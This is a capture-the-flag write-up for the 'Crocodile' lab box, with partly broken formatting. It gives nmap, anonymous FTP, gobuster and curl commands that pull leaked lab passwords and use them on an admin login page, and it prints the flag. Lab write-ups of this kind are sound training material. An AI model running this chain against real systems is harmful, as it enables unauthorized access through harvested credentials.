

Crocodile Write-up
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Introduction

Tier I boxes often chain simple misconfigurations across services. Crocodile walks us through leaking creden

Enumeration

1. **Nmap Scan**

```
```bash
nmap -sC -sV -p21,80 <TARGET_IP>
```

Discovered:
- `21/tcp open ftp vsftpd 3.0.3`
- `80/tcp open http Apache httpd 2.4.41`
```

2. **Anonymous FTP**

```
```bash
ftp <TARGET_IP>
login: anonymous
dir
get allowed.userlist
get allowed.userlist.passwd
```
```

Retrieved two files containing usernames and passwords.

Foothold & Exploitation

1. **Extract Credentials**

```
```bash
cat allowed.userlist
aron, pwnmeow, egotisticalsw, admin
cat allowed.userlist.passwd
root / Supersecretpassword1 / @BaASD&9032123sADS / rKXM59ESxesUFHAd
```
```

Matched `admin / Supersecretpassword1` as valid credentials.

2. **Directory Busting**

```
```bash
gobuster dir --url http://<TARGET_IP>/ --wordlist /usr/share/wordlists/dirb/common.txt -x php,html
```

Found `/login.php`.
```

3. **Admin Login & Flag**

```
```bash
curl -d "username=admin&password=Supersecretpassword1" http://<TARGET_IP>/login.php -o admin.html
```
```

The resulting admin panel displays the flag at the top.

Flag

```
```
7b4bec00d1a39e3dd4e021ec3d915da8
```
```

Lessons Learned

- Always check anonymous services for credential leaks.
- Combine leaked creds with web enumeration to fully chain exploits.
- Automate repeatable tasks with scripts for efficiency.